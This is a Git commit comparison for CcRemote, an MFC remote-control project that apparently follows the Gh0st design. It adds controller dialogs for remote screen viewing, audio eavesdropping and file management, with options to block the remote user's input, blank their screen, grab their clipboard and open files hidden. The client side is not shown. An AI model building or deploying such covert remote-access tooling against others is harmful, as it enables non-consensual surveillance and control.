Compare commits

..

7 Commits

Author SHA1 Message Date
changcheng
d7f2bcec1c 音频管理已经编写,但是背景处理有点问题,以后再解决 2020-06-08 20:33:24 +08:00
ChangCheng
fda76bbbd1 文件管理部分功能得以通讯 2020-06-06 18:20:33 +08:00
ChangCheng
eed525d3f5 增加了一些注释和简单的代码,关于界面 2020-06-05 20:15:06 +08:00
changcheng
41c189a5a7 屏幕监控的功能可以通讯,解决一些bug 2020-06-04 22:41:54 +08:00
ChangCheng
d3ad76272a 注释几图标 2020-06-04 18:58:52 +08:00
changcheng
2afd8019a8 控制端与服务端屏幕监控可以交互,还没有完善,debug解决个很奇怪的bug 2020-06-04 00:31:32 +08:00
changcheng
d12cd9d6ac 控制端增加了屏幕监控的窗口及代码,编译通过 2020-06-02 23:34:15 +08:00
46 changed files with 4619 additions and 95 deletions

Binary file not shown.

View File

@@ -1,3 +1,3 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|

Binary file not shown.

View File

@@ -0,0 +1,123 @@
// CAudioDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CAudioDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_AUDIO, pParent)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
m_iocpServer = pIOCPServer; //为类的成员变量赋值
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
}
CAudioDlg::~CAudioDlg()
{
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
str.Format("\\\\%s - 语音监听", m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lparam)
{
CAudioDlg *pThis = (CAudioDlg *)lparam;
while (pThis->m_bIsWorking)
{
if (!pThis->m_bIsSendLocalAudio)
{
Sleep(1000);
continue;
}
DWORD dwBytes = 0;
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
if (lpBuffer != NULL && dwBytes > 0)
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
}
return 0;
}
void CAudioDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose();
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
//这里也非常简洁就是将服务端发送来的数据播放出来我们看一下这个类还是CAudio哈哈
//原来播放和录制是同一个类,我们转到这个函数
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

View File

@@ -0,0 +1,42 @@
#pragma once
// CAudioDlg 对话框
#include "include/IOCPServer.h"
#include "..\..\common\Audio.h"
class CAudioDlg : public CDialog
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CAudioDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_AUDIO };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
bool m_bIsWorking;
CAudio m_Audio;
private:
UINT m_nTotalRecvBytes;
HICON m_hIcon;
HANDLE m_hWorkThread;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
public:
virtual BOOL OnInitDialog();
static DWORD WorkThread(LPVOID lparam);
BOOL m_bIsSendLocalAudio;
afx_msg void OnClose();
void OnReceiveComplete(void);
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,156 @@
#pragma once
#include "TrueColorToolBar.h"
#include "include/IOCPServer.h"
#include "resource.h"
typedef CList<CString, CString&> strList;
// CFileManagerDlg 对话框
class CFileManagerDlg : public CDialog
{
DECLARE_DYNAMIC(CFileManagerDlg)
public:
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CFileManagerDlg();
bool m_bIsStop;
CString m_strReceiveLocalFile;
CString m_strUploadRemoteFile;
void ShowProgress();
void SendStop();
int m_nTransferMode;
CString m_hCopyDestFolder;
void SendContinue();
void SendException();
void EndLocalRecvFile();
void EndRemoteDeleteFile();
CString m_strOperatingFile; // 文件名
__int64 m_nOperatingFileLength; // 文件总大小
__int64 m_nCounter;// 计数器
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
BOOL SendUploadJob();
BOOL SendDeleteJob();
strList m_Remote_Download_Job;
strList m_Remote_Upload_Job;
strList m_Remote_Delete_Job;
CTrueColorToolBar m_wndToolBar_Local;
CTrueColorToolBar m_wndToolBar_Remote;
void ShowMessage(char *lpFmt, ...);
CString m_Remote_Path;
BYTE m_bRemoteDriveList[1024];
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
CImageList* m_pImageList_Large;
CImageList* m_pImageList_Small;
int m_nNewIconBaseIndex; // 新加的ICON
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
CString m_Local_Path;
bool FixedUploadDirectory(LPCTSTR lpPathName);
void FixedLocalDriveList();
void FixedRemoteDriveList();
void FixedLocalFileList(CString directory = "");
void GetRemoteFileList(CString directory = "");
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
HICON m_hIcon;
CStatusBar m_wndStatusBar;
CComboBox m_Remote_Directory_ComboBox;
CComboBox m_Local_Directory_ComboBox;
CListCtrl m_list_remote;
CListCtrl m_list_local;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_FILE };
#endif
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
virtual void PostNcDestroy();
virtual BOOL OnInitDialog();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnClose();
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLocalPrev();
afx_msg void OnRemotePrev();
afx_msg void OnLocalView();
afx_msg void OnLocalList();
afx_msg void OnLocalReport();
afx_msg void OnLocalBigicon();
afx_msg void OnLocalSmallicon();
afx_msg void OnRemoteBigicon();
afx_msg void OnRemoteList();
afx_msg void OnRemoteReport();
afx_msg void OnRemoteSmallicon();
afx_msg void OnRemoteView();
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
afx_msg void OnRemoteCopy();
afx_msg void OnLocalCopy();
afx_msg void OnLocalDelete();
afx_msg void OnRemoteDelete();
afx_msg void OnRemoteStop();
afx_msg void OnLocalStop();
afx_msg void OnLocalNewfolder();
afx_msg void OnRemoteNewfolder();
afx_msg void OnTransfer();
afx_msg void OnRename();
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnDelete();
afx_msg void OnNewfolder();
afx_msg void OnRefresh();
afx_msg void OnLocalOpen();
afx_msg void OnRemoteOpenShow();
afx_msg void OnRemoteOpenHide();
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
DECLARE_MESSAGE_MAP()
protected:
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
BOOL m_bDragging; //T during a drag operation
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private:
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();
void EndLocalUploadFile();
bool DeleteDirectory(LPCTSTR lpszDirectory);
void EnableControl(BOOL bEnable = TRUE);
};

View File

@@ -0,0 +1,875 @@
// CScreenSpyDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CScreenSpyDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
enum
{
IDM_CONTROL = 0x0010,
IDM_SEND_CTRL_ALT_DEL,
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
IDM_BLOCK_INPUT, // 锁定远程计算机输入
IDM_BLANK_SCREEN, // 黑屏
IDM_CAPTURE_LAYER, // 捕捉层
IDM_SAVEDIB, // 保存图片
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_ALGORITHM_SCAN, // 隔行扫描算法
IDM_ALGORITHM_DIFF, // 差异比较算法
IDM_DEEP_1, // 屏幕色彩深度.....
IDM_DEEP_4_GRAY,
IDM_DEEP_4_COLOR,
IDM_DEEP_8_GRAY,
IDM_DEEP_8_COLOR,
IDM_DEEP_16,
IDM_DEEP_32
};
// 两种算法
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
#define ALGORITHM_DIFF 2 // 速度很慢也占CPU但是数据量都是最小的
// CScreenSpyDlg 对话框
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SCREENSPY, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
m_lpScreenDIB = NULL;
char szPath[MAX_PATH];
GetSystemDirectory(szPath, MAX_PATH);
lstrcat(szPath, "\\shell32.dll");
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
//重要的是这里这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
//这里就是保存bmp位图头了
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
m_bIsCtrl = false; // 默认不控制
m_nCount = 0;
m_bCursorIndex = 1;
}
CScreenSpyDlg::~CScreenSpyDlg()
{
}
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_CLOSE()
ON_WM_GETMINMAXINFO()
ON_WM_HSCROLL()
ON_WM_PAINT()
ON_WM_SYSCOMMAND()
END_MESSAGE_MAP()
// CScreenSpyDlg 消息处理程序
void CScreenSpyDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
::ReleaseDC(m_hWnd, m_hDC);
DeleteObject(m_hFullBitmap);
//关闭会进来两次,为了避免崩溃判断一下
if (m_lpbmi)
delete m_lpbmi;
m_lpbmi = NULL;
if (m_lpbmi_rect)
delete m_lpbmi_rect;
m_lpbmi_rect = NULL;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
CDialog::OnClose();
}
BOOL CScreenSpyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
//初始化菜单
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
// TODO: Add extra initialization here
CString str;
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
SetWindowText(str);
m_HScrollPos = 0;
m_VScrollPos = 0;
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
m_dwCursor_xHotspot = CursorInfo.xHotspot;
m_dwCursor_yHotspot = CursorInfo.yHotspot;
m_RemoteCursorPos.x = 0;
m_RemoteCursorPos.x = 0;
m_bIsTraceCursor = false;
// 初始化窗口大小结构 位图的图像数据
//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
InitMMI();
SendNext();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CScreenSpyDlg::InitMMI(void)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
int nMinWidth = 400 + nWidthAdd;
int nMinHeight = 300 + nHeightAdd;
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
// 最小的Track尺寸
m_MMI.ptMinTrackSize.x = nMinWidth;
m_MMI.ptMinTrackSize.y = nMinHeight;
// 最大化时窗口的位置
m_MMI.ptMaxPosition.x = 1;
m_MMI.ptMaxPosition.y = 1;
// 窗口最大尺寸
m_MMI.ptMaxSize.x = nMaxWidth;
m_MMI.ptMaxSize.y = nMaxHeight;
// 最大的Track尺寸也要改变
m_MMI.ptMaxTrackSize.x = nMaxWidth;
m_MMI.ptMaxTrackSize.y = nMaxHeight;
}
void CScreenSpyDlg::SendNext(void)
{
BYTE bBuff = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
//调整最大化最小化时会调用这个函数
void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
// 如果m_MMI已经被赋值
if (m_MMI.ptMaxSize.x > 0)
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
CDialog::OnGetMinMaxInfo(lpMMI);
}
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
SCROLLINFO si;
int i;
si.cbSize = sizeof(SCROLLINFO);
si.fMask = SIF_ALL;
GetScrollInfo(SB_HORZ, &si);
switch (nSBCode)
{
case SB_LINEUP:
i = nPos - 1;
break;
case SB_LINEDOWN:
i = nPos + 1;
break;
case SB_THUMBPOSITION:
case SB_THUMBTRACK:
i = si.nTrackPos;
break;
default:
return;
}
i = max(i, si.nMin);
i = min(i, (int)(si.nMax - si.nPage + 1));
RECT rect;
GetClientRect(&rect);
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
i = m_lpbmi->bmiHeader.biWidth - rect.right;
InterlockedExchange((PLONG)&m_HScrollPos, i);
SetScrollPos(SB_HORZ, m_HScrollPos);
PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
void CScreenSpyDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
// TODO: 在此处添加消息处理程序代码
// 不为绘图消息调用 CDialog::OnPaint()
if (m_bIsFirst)
{
DrawTipString("Please wait - initial screen loading");
return;
}
//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
//为什么呢? 因为抓图显示图都是我们的片面想法这个api的作用就是复制
//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
BitBlt
(
m_hDC,
0,
0,
m_lpbmi->bmiHeader.biWidth,
m_lpbmi->bmiHeader.biHeight,
m_hMemDC,
m_HScrollPos,
m_VScrollPos,
SRCCOPY
);
// (BYTE)-1 = 255;
// Draw the cursor
//这里画一下鼠标的图像
if (m_bIsTraceCursor)
DrawIconEx(
m_hDC, // handle to device context
m_RemoteCursorPos.x - ((int)m_dwCursor_xHotspot) - m_HScrollPos,
m_RemoteCursorPos.y - ((int)m_dwCursor_yHotspot) - m_VScrollPos,
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
0, 0, // width of the icon
0, // index of frame in animated cursor
NULL, // handle to background brush
DI_NORMAL | DI_COMPAT // icon-drawing flags
);
}
void CScreenSpyDlg::DrawTipString(CString str)
{
RECT rect;
GetClientRect(&rect);
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff, 0x00, 0x00));
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
DrawText(m_hDC, str, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
SetBkColor(m_hDC, oldbgcol);
SetTextColor(m_hDC, oldtxtcol);
}
void CScreenSpyDlg::OnReceiveComplete(void)
{
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FIRSTSCREEN:
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
break;
case TOKEN_NEXTSCREEN:
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
DrawNextScreenRect(); //这里是第二帧之后的数据了---
else
DrawNextScreenDiff(); //----当然这里有两种算法
break; //我们能转到DrawFirstScreen函数定义
case TOKEN_BITMAPINFO:
ResetScreen();
break;
case TOKEN_CLIPBOARD_TEXT:
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CScreenSpyDlg::DrawFirstScreen(void)
{
m_bIsFirst = false;
//这里也很简单就是得到服务端发来的数据 将他拷贝到HBITMAP的缓冲区中这样一个图像就出现了
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
//我们到OnPaint()函数
//OnPaint();
PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenDiff(void)
{
//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
//OnPaint画上去
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
POINT oldPoint;
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
// 鼠标移动了
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 屏幕是否变化
if (dwBytes > 0)
bIsReDraw = true;
__asm
{
mov ebx, [dwBytes]
mov esi, [lpNextScreen]
jmp CopyEnd
CopyNextBlock :
mov edi, [lpFirstScreen]
lodsd // 把lpNextScreen的第一个双字节放到eax中,就是DIB中改变区域的偏移
add edi, eax // lpFirstScreen偏移eax
lodsd // 把lpNextScreen的下一个双字节放到eax中, 就是改变区域的大小
mov ecx, eax
sub ebx, 8 // ebx 减去 两个dword
sub ebx, ecx // ebx 减去DIB数据的大小
rep movsb
CopyEnd :
cmp ebx, 0 // 是否写入完毕
jnz CopyNextBlock
}
if (bIsReDraw) PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenRect(void)
{
//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
// 保存上次鼠标所在的位置
RECT rectOldPoint;
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
//////////////////////////////////////////////////////////////////////////
// 判断鼠标是否移动
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
m_RemoteCursorPos.y))
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 判断鼠标所在区域是否发生变化
DWORD dwOffset = 0;
while (dwOffset < dwBytes && !bIsReDraw)
{
